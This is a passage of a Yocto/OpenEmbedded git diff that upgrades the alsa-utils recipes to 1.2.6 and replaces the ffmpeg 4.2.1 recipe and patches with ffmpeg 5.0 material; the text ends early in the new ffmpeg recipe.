deleted file mode 100644
index fef79d9c9c..0000000000
--- a/meta/recipes-multimedia/alsa/alsa-utils-scripts_1.1.9.bb
+++ /dev/null
@@ -1,25 +0,0 @@
-require alsa-utils_${PV}.bb
-
-SUMMARY = "Shell scripts that show help info and create ALSA configuration files"
-PROVIDES = "alsa-utils-alsaconf"
-
-FILESEXTRAPATHS_prepend := "${THISDIR}/alsa-utils:"
-
-PACKAGES = "${PN}"
-RDEPENDS_${PN} += "bash"
-
-FILES_${PN} = "${sbindir}/alsaconf \
- ${sbindir}/alsa-info.sh \
- ${sbindir}/alsabat-test.sh \
- "
-
-S = "${WORKDIR}/alsa-utils-${PV}"
-
-do_install() {
- install -d ${D}${sbindir}
- install -m 0755 ${B}/alsaconf/alsaconf ${D}${sbindir}/
- install -m 0755 ${S}/alsa-info/alsa-info.sh ${D}${sbindir}/
- if ${@bb.utils.contains('PACKAGECONFIG', 'bat', 'true', 'false', d)}; then
- install -m 0755 ${S}/bat/alsabat-test.sh ${D}${sbindir}/
- fi
-}
diff --git a/meta/recipes-multimedia/alsa/alsa-utils-scripts_1.2.6.bb b/meta/recipes-multimedia/alsa/alsa-utils-scripts_1.2.6.bb
new file mode 100644
index 0000000000..000e984a7d
--- /dev/null
+++ b/meta/recipes-multimedia/alsa/alsa-utils-scripts_1.2.6.bb
@@ -0,0 +1,25 @@
+require alsa-utils.inc
+
+SUMMARY = "Shell scripts that show help info and create ALSA configuration files"
+PROVIDES = "alsa-utils-alsaconf"
+
+FILESEXTRAPATHS:prepend := "${THISDIR}/alsa-utils:"
+
+PACKAGES = "${PN}"
+RDEPENDS:${PN} += "bash"
+
+FILES:${PN} = "${sbindir}/alsaconf \
+ ${sbindir}/alsa-info.sh \
+ ${sbindir}/alsabat-test.sh \
+ "
+
+S = "${WORKDIR}/alsa-utils-${PV}"
+
+do_install() {
+ install -d ${D}${sbindir}
+ install -m 0755 ${B}/alsaconf/alsaconf ${D}${sbindir}/
+ install -m 0755 ${S}/alsa-info/alsa-info.sh ${D}${sbindir}/
+ if ${@bb.utils.contains('PACKAGECONFIG', 'bat', 'true', 'false', d)}; then
+ install -m 0755 ${S}/bat/alsabat-test.sh ${D}${sbindir}/
+ fi
+}
diff --git a/meta/recipes-multimedia/alsa/alsa-utils.inc b/meta/recipes-multimedia/alsa/alsa-utils.inc
new file mode 100644
index 0000000000..bca7cdd3bd
--- /dev/null
+++ b/meta/recipes-multimedia/alsa/alsa-utils.inc
@@ -0,0 +1,108 @@
+SUMMARY = "ALSA sound utilities"
+DESCRIPTION = "collection of small and often extremely powerful applications \
+designed to allow users to control the various parts of the ALSA system."
+HOMEPAGE = "http://www.alsa-project.org"
+BUGTRACKER = "http://alsa-project.org/main/index.php/Bug_Tracking"
+SECTION = "console/utils"
+# Some parts are GPL-2.0-or-later, some are GPL-2.0-only (e.g. axfer, alsactl)
+# so result is GPL-2.0-only
+LICENSE = "GPL-2.0-only"
+LIC_FILES_CHKSUM = "file://COPYING;md5=59530bdf33659b29e73d4adb9f9f6552 \
+ file://alsactl/utils.c;beginline=3;endline=18;md5=96cc06a4cebe5eb7975688ffb0e65642"
+DEPENDS = "alsa-lib ncurses libsamplerate0"
+
+PACKAGECONFIG ??= "udev"
+
+# alsabat can be built also without fftw support (with reduced functionality).
+# It would be better to always enable alsabat, but provide an option for
+# enabling/disabling fftw. The configure script doesn't support that, however
+# (at least in any obvious way), so for now we only support alsabat with fftw
+# or no alsabat at all.
+PACKAGECONFIG[bat] = "--enable-bat,--disable-bat,fftwf"
+
+PACKAGECONFIG[udev] = "--with-udev-rules-dir=`pkg-config --variable=udevdir udev`/rules.d,--with-udev-rules-dir=/unwanted/rules.d,udev"
+PACKAGECONFIG[manpages] = "--enable-xmlto, --disable-xmlto, xmlto-native docbook-xml-dtd4-native docbook-xsl-stylesheets-native"
+
+# alsa-utils specified in SRC_URI due to alsa-utils-scripts recipe
+SRC_URI = "https://www.alsa-project.org/files/pub/utils/alsa-utils-${PV}.tar.bz2"
+SRC_URI[sha256sum] = "6a1efd8a1f1d9d38e489633eaec1fffa5c315663b316cab804be486887e6145d"
+
+# On build machines with python-docutils (not python3-docutils !!) installed
+# rst2man (not rst2man.py) is detected and compile fails with
+# | make[1]: *** No rule to make target 'alsaucm.1', needed by 'all-am'. Stop.
+# Avoid this by disabling expicitly
+EXTRA_OECONF = "--disable-rst2man"
+
+inherit autotools gettext pkgconfig manpages
+
+# This are all packages that we need to make. Also, the now empty alsa-utils
+# ipk depends on them.
+
+ALSA_UTILS_PKGS = "\
+ ${@bb.utils.contains('PACKAGECONFIG', 'bat', 'alsa-utils-alsabat', '', d)} \
+ alsa-utils-alsamixer \
+ alsa-utils-alsatplg \
+ alsa-utils-midi \
+ alsa-utils-aplay \
+ alsa-utils-amixer \
+ alsa-utils-aconnect \
+ alsa-utils-iecset \
+ alsa-utils-speakertest \
+ alsa-utils-aseqnet \
+ alsa-utils-aseqdump \
+ alsa-utils-alsactl \
+ alsa-utils-alsaloop \
+ alsa-utils-alsaucm \
+ "
+
+PACKAGES += "${ALSA_UTILS_PKGS}"
+RDEPENDS:${PN} += "${ALSA_UTILS_PKGS}"
+
+FILES:${PN} = ""
+ALLOW_EMPTY:alsa-utils = "1"
+FILES:alsa-utils-alsabat = "${bindir}/alsabat"
+FILES:alsa-utils-alsatplg = "${bindir}/alsatplg"
+FILES:alsa-utils-aplay = "${bindir}/aplay ${bindir}/arecord ${bindir}/axfer"
+FILES:alsa-utils-amixer = "${bindir}/amixer"
+FILES:alsa-utils-alsamixer = "${bindir}/alsamixer"
+FILES:alsa-utils-speakertest = "${bindir}/speaker-test ${datadir}/sounds/alsa/ ${datadir}/alsa/speaker-test/"
+FILES:alsa-utils-midi = "${bindir}/aplaymidi ${bindir}/arecordmidi ${bindir}/amidi"
+FILES:alsa-utils-aconnect = "${bindir}/aconnect"
+FILES:alsa-utils-aseqnet = "${bindir}/aseqnet"
+FILES:alsa-utils-iecset = "${bindir}/iecset"
+FILES:alsa-utils-alsactl = "${sbindir}/alsactl */udev/rules.d/90-alsa-restore.rules */*/udev/rules.d/90-alsa-restore.rules ${systemd_unitdir} ${localstatedir}/lib/alsa ${datadir}/alsa/init/"
+FILES:alsa-utils-aseqdump = "${bindir}/aseqdump"
+FILES:alsa-utils-alsaloop = "${bindir}/alsaloop"
+FILES:alsa-utils-alsaucm = "${bindir}/alsaucm */udev/rules.d/89-alsa-ucm.rules */*/udev/rules.d/89-alsa-ucm.rules"
+
+SUMMARY:alsa-utils-alsabat = "Command-line sound tester for ALSA sound card driver"
+SUMMARY:alsa-utils-alsatplg = "Converts topology text files into binary format for kernel"
+SUMMARY:alsa-utils-aplay = "Play (and record) sound files using ALSA"
+SUMMARY:alsa-utils-amixer = "Command-line control for ALSA mixer and settings"
+SUMMARY:alsa-utils-alsamixer = "ncurses-based control for ALSA mixer and settings"
+SUMMARY:alsa-utils-speakertest = "ALSA surround speaker test utility"
+SUMMARY:alsa-utils-midi = "Miscellaneous MIDI utilities for ALSA"
+SUMMARY:alsa-utils-aconnect = "ALSA sequencer connection manager"
+SUMMARY:alsa-utils-aseqnet = "Network client/server for ALSA sequencer"
+SUMMARY:alsa-utils-iecset = "ALSA utility for setting/showing IEC958 (S/PDIF) status bits"
+SUMMARY:alsa-utils-alsactl = "Saves/restores ALSA-settings in /etc/asound.state"
+SUMMARY:alsa-utils-aseqdump = "Shows the events received at an ALSA sequencer port"
+SUMMARY:alsa-utils-alsaloop = "ALSA PCM loopback utility"
+SUMMARY:alsa-utils-alsaucm = "ALSA Use Case Manager"
+
+RRECOMMENDS:alsa-utils-alsactl = "alsa-states"
+
+do_install() {
+ autotools_do_install
+
+ # We don't ship this here because it requires a dependency on bash.
+ # See alsa-utils-scripts_${PV}.bb
+ rm ${D}${sbindir}/alsaconf
+ rm ${D}${sbindir}/alsa-info.sh
+ rm -f ${D}${sbindir}/alsabat-test.sh
+
+ # If udev is disabled, we told configure to install the rules
+ # in /unwanted, so we can remove them now. If udev is enabled,
+ # then /unwanted won't exist and this will have no effect.
+ rm -rf ${D}/unwanted
+}
diff --git a/meta/recipes-multimedia/alsa/alsa-utils_1.1.9.bb b/meta/recipes-multimedia/alsa/alsa-utils_1.1.9.bb
deleted file mode 100644
index 03b5c8de30..0000000000
--- a/meta/recipes-multimedia/alsa/alsa-utils_1.1.9.bb
+++ /dev/null
@@ -1,106 +0,0 @@
-SUMMARY = "ALSA sound utilities"
-HOMEPAGE = "http://www.alsa-project.org"
-BUGTRACKER = "http://alsa-project.org/main/index.php/Bug_Tracking"
-SECTION = "console/utils"
-LICENSE = "GPLv2+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=59530bdf33659b29e73d4adb9f9f6552 \
- file://alsactl/utils.c;beginline=1;endline=20;md5=2ce7f7b6739487fb72c689d46521f958"
-DEPENDS = "alsa-lib ncurses libsamplerate0"
-
-PACKAGECONFIG ??= "udev"
-
-# alsabat can be built also without fftw support (with reduced functionality).
-# It would be better to always enable alsabat, but provide an option for
-# enabling/disabling fftw. The configure script doesn't support that, however
-# (at least in any obvious way), so for now we only support alsabat with fftw
-# or no alsabat at all.
-PACKAGECONFIG[bat] = "--enable-bat,--disable-bat,fftwf"
-
-PACKAGECONFIG[udev] = "--with-udev-rules-dir=`pkg-config --variable=udevdir udev`/rules.d,--with-udev-rules-dir=/unwanted/rules.d,udev"
-PACKAGECONFIG[manpages] = "--enable-xmlto, --disable-xmlto, xmlto-native docbook-xml-dtd4-native docbook-xsl-stylesheets-native"
-
-# alsa-utils specified in SRC_URI due to alsa-utils-scripts recipe
-SRC_URI = "https://www.alsa-project.org/files/pub/utils/alsa-utils-${PV}.tar.bz2"
-SRC_URI[md5sum] = "5ed21c3e296c06046cc986e732f625f6"
-SRC_URI[sha256sum] = "5ddf2cbddb4bd1a4a2a6492a09c25898b08c3ad64893c3655be14194cf0a213a"
-
-# On build machines with python-docutils (not python3-docutils !!) installed
-# rst2man (not rst2man.py) is detected and compile fails with
-# | make[1]: *** No rule to make target 'alsaucm.1', needed by 'all-am'. Stop.
-# Avoid this by disabling expicitly
-EXTRA_OECONF = "--disable-rst2man"
-
-inherit autotools gettext pkgconfig manpages
-
-# This are all packages that we need to make. Also, the now empty alsa-utils
-# ipk depends on them.
-
-ALSA_UTILS_PKGS = "\
- ${@bb.utils.contains('PACKAGECONFIG', 'bat', 'alsa-utils-alsabat', '', d)} \
- alsa-utils-alsamixer \
- alsa-utils-alsatplg \
- alsa-utils-midi \
- alsa-utils-aplay \
- alsa-utils-amixer \
- alsa-utils-aconnect \
- alsa-utils-iecset \
- alsa-utils-speakertest \
- alsa-utils-aseqnet \
- alsa-utils-aseqdump \
- alsa-utils-alsactl \
- alsa-utils-alsaloop \
- alsa-utils-alsaucm \
- "
-
-PACKAGES += "${ALSA_UTILS_PKGS}"
-RDEPENDS_${PN} += "${ALSA_UTILS_PKGS}"
-
-FILES_${PN} = ""
-FILES_alsa-utils-alsabat = "${bindir}/alsabat"
-FILES_alsa-utils-alsatplg = "${bindir}/alsatplg"
-FILES_alsa-utils-aplay = "${bindir}/aplay ${bindir}/arecord ${bindir}/axfer"
-FILES_alsa-utils-amixer = "${bindir}/amixer"
-FILES_alsa-utils-alsamixer = "${bindir}/alsamixer"
-FILES_alsa-utils-speakertest = "${bindir}/speaker-test ${datadir}/sounds/alsa/ ${datadir}/alsa/speaker-test/"
-FILES_alsa-utils-midi = "${bindir}/aplaymidi ${bindir}/arecordmidi ${bindir}/amidi"
-FILES_alsa-utils-aconnect = "${bindir}/aconnect"
-FILES_alsa-utils-aseqnet = "${bindir}/aseqnet"
-FILES_alsa-utils-iecset = "${bindir}/iecset"
-FILES_alsa-utils-alsactl = "${sbindir}/alsactl */udev/rules.d/90-alsa-restore.rules */*/udev/rules.d/90-alsa-restore.rules ${systemd_unitdir} ${localstatedir}/lib/alsa ${datadir}/alsa/init/"
-FILES_alsa-utils-aseqdump = "${bindir}/aseqdump"
-FILES_alsa-utils-alsaloop = "${bindir}/alsaloop"
-FILES_alsa-utils-alsaucm = "${bindir}/alsaucm */udev/rules.d/89-alsa-ucm.rules */*/udev/rules.d/89-alsa-ucm.rules"
-
-SUMMARY_alsa-utils-alsabat = "Command-line sound tester for ALSA sound card driver"
-SUMMARY_alsa-utils-alsatplg = "Converts topology text files into binary format for kernel"
-SUMMARY_alsa-utils-aplay = "Play (and record) sound files using ALSA"
-SUMMARY_alsa-utils-amixer = "Command-line control for ALSA mixer and settings"
-SUMMARY_alsa-utils-alsamixer = "ncurses-based control for ALSA mixer and settings"
-SUMMARY_alsa-utils-speakertest = "ALSA surround speaker test utility"
-SUMMARY_alsa-utils-midi = "Miscellaneous MIDI utilities for ALSA"
-SUMMARY_alsa-utils-aconnect = "ALSA sequencer connection manager"
-SUMMARY_alsa-utils-aseqnet = "Network client/server for ALSA sequencer"
-SUMMARY_alsa-utils-iecset = "ALSA utility for setting/showing IEC958 (S/PDIF) status bits"
-SUMMARY_alsa-utils-alsactl = "Saves/restores ALSA-settings in /etc/asound.state"
-SUMMARY_alsa-utils-aseqdump = "Shows the events received at an ALSA sequencer port"
-SUMMARY_alsa-utils-alsaloop = "ALSA PCM loopback utility"
-SUMMARY_alsa-utils-alsaucm = "ALSA Use Case Manager"
-
-RRECOMMENDS_alsa-utils-alsactl = "alsa-states"
-
-ALLOW_EMPTY_alsa-utils = "1"
-
-do_install() {
- autotools_do_install
-
- # We don't ship this here because it requires a dependency on bash.
- # See alsa-utils-scripts_${PV}.bb
- rm ${D}${sbindir}/alsaconf
- rm ${D}${sbindir}/alsa-info.sh
- rm -f ${D}${sbindir}/alsabat-test.sh
-
- # If udev is disabled, we told configure to install the rules
- # in /unwanted, so we can remove them now. If udev is enabled,
- # then /unwanted won't exist and this will have no effect.
- rm -rf ${D}/unwanted
-}
diff --git a/meta/recipes-multimedia/alsa/alsa-utils_1.2.6.bb b/meta/recipes-multimedia/alsa/alsa-utils_1.2.6.bb
new file mode 100644
index 0000000000..3430288da4
--- /dev/null
+++ b/meta/recipes-multimedia/alsa/alsa-utils_1.2.6.bb
@@ -0,0 +1,2 @@
+require alsa-utils.inc
+
diff --git a/meta/recipes-multimedia/ffmpeg/ffmpeg/0001-libavutil-include-assembly-with-full-path-from-sourc.patch b/meta/recipes-multimedia/ffmpeg/ffmpeg/0001-libavutil-include-assembly-with-full-path-from-sourc.patch
new file mode 100644
index 0000000000..7d0a06f85b
--- /dev/null
+++ b/meta/recipes-multimedia/ffmpeg/ffmpeg/0001-libavutil-include-assembly-with-full-path-from-sourc.patch
@@ -0,0 +1,112 @@
+From 4a891e1eddbf63f32fe769b5bff289f6748abf45 Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex.kanavin@gmail.com>
+Date: Tue, 10 Nov 2020 15:32:14 +0000
+Subject: [PATCH] libavutil: include assembly with full path from source root
+
+Otherwise nasm writes the full host-specific paths into .o
+output, which breaks binary reproducibility.
+
+Upstream-Status: Submitted [http://ffmpeg.org/pipermail/ffmpeg-devel/2022-January/291781.html]
+Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
+
+---
+ libavutil/x86/cpuid.asm | 2 +-
+ libavutil/x86/emms.asm | 2 +-
+ libavutil/x86/fixed_dsp.asm | 2 +-
+ libavutil/x86/float_dsp.asm | 2 +-
+ libavutil/x86/lls.asm | 2 +-
+ libavutil/x86/pixelutils.asm | 2 +-
+ libavutil/x86/tx_float.asm | 2 +-
+ 7 files changed, 7 insertions(+), 7 deletions(-)
+
+diff --git a/libavutil/x86/cpuid.asm b/libavutil/x86/cpuid.asm
+index c3f7866..766f77f 100644
+--- a/libavutil/x86/cpuid.asm
++++ b/libavutil/x86/cpuid.asm
+@@ -21,7 +21,7 @@
+ ;* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ ;******************************************************************************
+
+-%include "x86util.asm"
++%include "libavutil/x86/x86util.asm"
+
+ SECTION .text
+
+diff --git a/libavutil/x86/emms.asm b/libavutil/x86/emms.asm
+index 8611762..df84f22 100644
+--- a/libavutil/x86/emms.asm
++++ b/libavutil/x86/emms.asm
+@@ -18,7 +18,7 @@
+ ;* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ ;******************************************************************************
+
+-%include "x86util.asm"
++%include "libavutil/x86/x86util.asm"
+
+ SECTION .text
+
+diff --git a/libavutil/x86/fixed_dsp.asm b/libavutil/x86/fixed_dsp.asm
+index 979dd5c..2f41185 100644
+--- a/libavutil/x86/fixed_dsp.asm
++++ b/libavutil/x86/fixed_dsp.asm
+@@ -20,7 +20,7 @@
+ ;* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ ;******************************************************************************
+
+-%include "x86util.asm"
++%include "libavutil/x86/x86util.asm"
+
+ SECTION .text
+
+diff --git a/libavutil/x86/float_dsp.asm b/libavutil/x86/float_dsp.asm
+index 517fd63..b773e61 100644
+--- a/libavutil/x86/float_dsp.asm
++++ b/libavutil/x86/float_dsp.asm
+@@ -20,7 +20,7 @@
+ ;* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ ;******************************************************************************
+
+-%include "x86util.asm"
++%include "libavutil/x86/x86util.asm"
+
+ SECTION_RODATA 32
+ pd_reverse: dd 7, 6, 5, 4, 3, 2, 1, 0
+diff --git a/libavutil/x86/lls.asm b/libavutil/x86/lls.asm
+index 317fba6..d2526d1 100644
+--- a/libavutil/x86/lls.asm
++++ b/libavutil/x86/lls.asm
+@@ -20,7 +20,7 @@
+ ;* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ ;******************************************************************************
+
+-%include "x86util.asm"
++%include "libavutil/x86/x86util.asm"
+
+ SECTION .text
+
+diff --git a/libavutil/x86/pixelutils.asm b/libavutil/x86/pixelutils.asm
+index 36c57c5..8b45ead 100644
+--- a/libavutil/x86/pixelutils.asm
++++ b/libavutil/x86/pixelutils.asm
+@@ -21,7 +21,7 @@
+ ;* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ ;******************************************************************************
+
+-%include "x86util.asm"
++%include "libavutil/x86/x86util.asm"
+
+ SECTION .text
+
+diff --git a/libavutil/x86/tx_float.asm b/libavutil/x86/tx_float.asm
+index 4d2283f..ea39f21 100644
+--- a/libavutil/x86/tx_float.asm
++++ b/libavutil/x86/tx_float.asm
+@@ -29,7 +29,7 @@
+ ; replace some shuffles with vblends?
+ ; avx512 split-radix
+
+-%include "x86util.asm"
++%include "libavutil/x86/x86util.asm"
+
+ %if ARCH_X86_64
+ %define ptr resq
diff --git a/meta/recipes-multimedia/ffmpeg/ffmpeg/mips64_cpu_detection.patch b/meta/recipes-multimedia/ffmpeg/ffmpeg/mips64_cpu_detection.patch
deleted file mode 100644
index 69429af8f0..0000000000
--- a/meta/recipes-multimedia/ffmpeg/ffmpeg/mips64_cpu_detection.patch
+++ /dev/null
@@ -1,32 +0,0 @@
-It will add -mips64r6 and -mips64r2 to cmdline which will
-cause conflicts
-
-in OE we user mips32r2 and mips64r2 for mips arch versions
-so there is no benefit of detecting it automatically by
-poking at tools especially in cross env
-
-Fixes errors like
-
-linking -mnan=2008 module with previous -mnan=legacy modules
-failed to merge target specific data of file
-
--Khem
-Upstream-Status: Inappropriate [OE-Specific]
-
-Index: ffmpeg-3.1.1/configure
-===================================================================
---- ffmpeg-3.1.1.orig/configure
-+++ ffmpeg-3.1.1/configure
-@@ -5220,12 +5220,9 @@ elif enabled mips; then
-
- # Enable minimum ISA based on selected options
- if enabled mips64; then
-- enabled mips64r6 && check_inline_asm_flags mips64r6 '"dlsa $0, $0, $0, 1"' '-mips64r6'
- enabled mips64r2 && check_inline_asm_flags mips64r2 '"dext $0, $0, 0, 1"' '-mips64r2'
- disabled mips64r6 && disabled mips64r2 && check_inline_asm_flags mips64r1 '"daddi $0, $0, 0"' '-mips64'
- else
-- enabled mips32r6 && check_inline_asm_flags mips32r6 '"aui $0, $0, 0"' '-mips32r6'
-- enabled mips32r5 && check_inline_asm_flags mips32r5 '"eretnc"' '-mips32r5'
- enabled mips32r2 && check_inline_asm_flags mips32r2 '"ext $0, $0, 0, 1"' '-mips32r2'
- disabled mips32r6 && disabled mips32r5 && disabled mips32r2 && check_inline_asm_flags mips32r1 '"addi $0, $0, 0"' '-mips32'
- fi
diff --git a/meta/recipes-multimedia/ffmpeg/ffmpeg_4.2.1.bb b/meta/recipes-multimedia/ffmpeg/ffmpeg_4.2.1.bb
deleted file mode 100644
index 5ac18ba3f1..0000000000
--- a/meta/recipes-multimedia/ffmpeg/ffmpeg_4.2.1.bb
+++ /dev/null
@@ -1,158 +0,0 @@
-SUMMARY = "A complete, cross-platform solution to record, convert and stream audio and video."
-DESCRIPTION = "FFmpeg is the leading multimedia framework, able to decode, encode, transcode, \
- mux, demux, stream, filter and play pretty much anything that humans and machines \
- have created. It supports the most obscure ancient formats up to the cutting edge."
-HOMEPAGE = "https://www.ffmpeg.org/"
-SECTION = "libs"
-
-LICENSE = "BSD & GPLv2+ & LGPLv2.1+ & MIT"
-LICENSE_${PN} = "GPLv2+"
-LICENSE_libavcodec = "${@bb.utils.contains('PACKAGECONFIG', 'gpl', 'GPLv2+', 'LGPLv2.1+', d)}"
-LICENSE_libavdevice = "${@bb.utils.contains('PACKAGECONFIG', 'gpl', 'GPLv2+', 'LGPLv2.1+', d)}"
-LICENSE_libavfilter = "${@bb.utils.contains('PACKAGECONFIG', 'gpl', 'GPLv2+', 'LGPLv2.1+', d)}"
-LICENSE_libavformat = "${@bb.utils.contains('PACKAGECONFIG', 'gpl', 'GPLv2+', 'LGPLv2.1+', d)}"
-LICENSE_libavresample = "${@bb.utils.contains('PACKAGECONFIG', 'gpl', 'GPLv2+', 'LGPLv2.1+', d)}"
-LICENSE_libavutil = "${@bb.utils.contains('PACKAGECONFIG', 'gpl', 'GPLv2+', 'LGPLv2.1+', d)}"
-LICENSE_libpostproc = "GPLv2+"
-LICENSE_libswresample = "${@bb.utils.contains('PACKAGECONFIG', 'gpl', 'GPLv2+', 'LGPLv2.1+', d)}"
-LICENSE_libswscale = "${@bb.utils.contains('PACKAGECONFIG', 'gpl', 'GPLv2+', 'LGPLv2.1+', d)}"
-LICENSE_FLAGS = "commercial"
-
-LIC_FILES_CHKSUM = "file://COPYING.GPLv2;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
- file://COPYING.GPLv3;md5=d32239bcb673463ab874e80d47fae504 \
- file://COPYING.LGPLv2.1;md5=bd7a443320af8c812e4c18d1b79df004 \
- file://COPYING.LGPLv3;md5=e6a600fd5e1d9cbde2d983680233ad02"
-
-SRC_URI = "https://www.ffmpeg.org/releases/${BP}.tar.xz \
- file://mips64_cpu_detection.patch \
- "
-SRC_URI[md5sum] = "67da904cf9fddeeb10a1308fc0dc39de"
-SRC_URI[sha256sum] = "cec7c87e9b60d174509e263ac4011b522385fd0775292e1670ecc1180c9bb6d4"
-
-# Build fails when thumb is enabled: https://bugzilla.yoctoproject.org/show_bug.cgi?id=7717
-ARM_INSTRUCTION_SET_armv4 = "arm"
-ARM_INSTRUCTION_SET_armv5 = "arm"
-ARM_INSTRUCTION_SET_armv6 = "arm"
-
-# Should be API compatible with libav (which was a fork of ffmpeg)
-# libpostproc was previously packaged from a separate recipe
-PROVIDES = "libav libpostproc"
-
-DEPENDS = "nasm-native"
-
-inherit autotools pkgconfig
-
-PACKAGECONFIG ??= "avdevice avfilter avcodec avformat swresample swscale postproc avresample \
- alsa bzlib gpl lzma theora x264 zlib \
- ${@bb.utils.contains('DISTRO_FEATURES', 'x11', 'xv xcb', '', d)}"
-
-# libraries to build in addition to avutil
-PACKAGECONFIG[avdevice] = "--enable-avdevice,--disable-avdevice"
-PACKAGECONFIG[avfilter] = "--enable-avfilter,--disable-avfilter"
-PACKAGECONFIG[avcodec] = "--enable-avcodec,--disable-avcodec"
-PACKAGECONFIG[avformat] = "--enable-avformat,--disable-avformat"
-PACKAGECONFIG[swresample] = "--enable-swresample,--disable-swresample"
-PACKAGECONFIG[swscale] = "--enable-swscale,--disable-swscale"
-PACKAGECONFIG[postproc] = "--enable-postproc,--disable-postproc"
-PACKAGECONFIG[avresample] = "--enable-avresample,--disable-avresample"
-
-# features to support
-PACKAGECONFIG[alsa] = "--enable-alsa,--disable-alsa,alsa-lib"
-PACKAGECONFIG[bzlib] = "--enable-bzlib,--disable-bzlib,bzip2"
-PACKAGECONFIG[gpl] = "--enable-gpl,--disable-gpl"
-PACKAGECONFIG[gsm] = "--enable-libgsm,--disable-libgsm,libgsm"
-PACKAGECONFIG[jack] = "--enable-indev=jack,--disable-indev=jack,jack"
-PACKAGECONFIG[libvorbis] = "--enable-libvorbis,--disable-libvorbis,libvorbis"
-PACKAGECONFIG[lzma] = "--enable-lzma,--disable-lzma,xz"
-PACKAGECONFIG[mfx] = "--enable-libmfx,--disable-libmfx,intel-mediasdk"
-PACKAGECONFIG[mp3lame] = "--enable-libmp3lame,--disable-libmp3lame,lame"
-PACKAGECONFIG[openssl] = "--enable-openssl,--disable-openssl,openssl"
-PACKAGECONFIG[sdl2] = "--enable-sdl2,--disable-sdl2,virtual/libsdl2"
-PACKAGECONFIG[speex] = "--enable-libspeex,--disable-libspeex,speex"
-PACKAGECONFIG[theora] = "--enable-libtheora,--disable-libtheora,libtheora libogg"
-PACKAGECONFIG[vaapi] = "--enable-vaapi,--disable-vaapi,libva"
-PACKAGECONFIG[vdpau] = "--enable-vdpau,--disable-vdpau,libvdpau"
-PACKAGECONFIG[vpx] = "--enable-libvpx,--disable-libvpx,libvpx"
-PACKAGECONFIG[x264] = "--enable-libx264,--disable-libx264,x264"
-PACKAGECONFIG[xcb] = "--enable-libxcb,--disable-libxcb,libxcb"
-PACKAGECONFIG[xv] = "--enable-outdev=xv,--disable-outdev=xv,libxv"
-PACKAGECONFIG[zlib] = "--enable-zlib,--disable-zlib,zlib"
-
-# Check codecs that require --enable-nonfree
-USE_NONFREE = "${@bb.utils.contains_any('PACKAGECONFIG', [ 'openssl' ], 'yes', '', d)}"
-
-def cpu(d):
- for arg in (d.getVar('TUNE_CCARGS') or '').split():
- if arg.startswith('-mcpu='):
- return arg[6:]
- return 'generic'
-
-EXTRA_OECONF = " \
- --disable-stripping \
- --enable-pic \
- --enable-shared \
- --enable-pthreads \
- ${@bb.utils.contains('USE_NONFREE', 'yes', '--enable-nonfree', '', d)} \
- \
- --cross-prefix=${TARGET_PREFIX} \
- \
- --ld="${CCLD}" \
- --cc="${CC}" \
- --cxx="${CXX}" \
- --arch=${TARGET_ARCH} \
- --target-os="linux" \
- --enable-cross-compile \
- --extra-cflags="${CFLAGS} ${HOST_CC_ARCH}${TOOLCHAIN_OPTIONS}" \
- --extra-ldflags="${LDFLAGS}" \
- --sysroot="${STAGING_DIR_TARGET}" \
- ${EXTRA_FFCONF} \
- --libdir=${libdir} \
- --shlibdir=${libdir} \
- --datadir=${datadir}/ffmpeg \
- ${@bb.utils.contains('AVAILTUNES', 'mips32r2', '', '--disable-mipsdsp --disable-mipsdspr2', d)} \
- --cpu=${@cpu(d)} \
- --pkg-config=pkg-config \
-"
-
-EXTRA_OECONF_append_linux-gnux32 = " --disable-asm"
-# gold crashes on x86, another solution is to --disable-asm but thats more hacky
-# ld.gold: internal error in relocate_section, at ../../gold/i386.cc:3684
-
-LDFLAGS_append_x86 = "${@bb.utils.contains('DISTRO_FEATURES', 'ld-is-gold', ' -fuse-ld=bfd ', '', d)}"
-
-EXTRA_OEMAKE = "V=1"
-
-do_configure() {
- ${S}/configure ${EXTRA_OECONF}
-}
-
-PACKAGES =+ "libavcodec \
- libavdevice \
- libavfilter \
- libavformat \
- libavresample \
- libavutil \
- libpostproc \
- libswresample \
- libswscale"
-
-FILES_libavcodec = "${libdir}/libavcodec${SOLIBS}"
-FILES_libavdevice = "${libdir}/libavdevice${SOLIBS}"
-FILES_libavfilter = "${libdir}/libavfilter${SOLIBS}"
-FILES_libavformat = "${libdir}/libavformat${SOLIBS}"
-FILES_libavresample = "${libdir}/libavresample${SOLIBS}"
-FILES_libavutil = "${libdir}/libavutil${SOLIBS}"
-FILES_libpostproc = "${libdir}/libpostproc${SOLIBS}"
-FILES_libswresample = "${libdir}/libswresample${SOLIBS}"
-FILES_libswscale = "${libdir}/libswscale${SOLIBS}"
-
-# ffmpeg disables PIC on some platforms (e.g. x86-32)
-INSANE_SKIP_${MLPREFIX}libavcodec = "textrel"
-INSANE_SKIP_${MLPREFIX}libavdevice = "textrel"
-INSANE_SKIP_${MLPREFIX}libavfilter = "textrel"
-INSANE_SKIP_${MLPREFIX}libavformat = "textrel"
-INSANE_SKIP_${MLPREFIX}libavutil = "textrel"
-INSANE_SKIP_${MLPREFIX}libavresample = "textrel"
-INSANE_SKIP_${MLPREFIX}libswscale = "textrel"
-INSANE_SKIP_${MLPREFIX}libswresample = "textrel"
-INSANE_SKIP_${MLPREFIX}libpostproc = "textrel"
diff --git a/meta/recipes-multimedia/ffmpeg/ffmpeg_5.0.bb b/meta/recipes-multimedia/ffmpeg/ffmpeg_5.0.bb
new file mode 100644
index 0000000000..96eef5e0fe
--- /dev/null
+++ b/meta/recipes-multimedia/ffmpeg/ffmpeg_5.0.bb
@@ -0,0 +1,176 @@
+SUMMARY = "A complete, cross-platform solution to record, convert and stream audio and video."
+DESCRIPTION = "FFmpeg is the leading multimedia framework, able to decode, encode, transcode, \
+ mux, demux, stream, filter and play pretty much anything that humans and machines \
+ have created. It supports the most obscure ancient formats up to the cutting edge."
+HOMEPAGE = "https://www.ffmpeg.org/"
+SECTION = "libs"
+
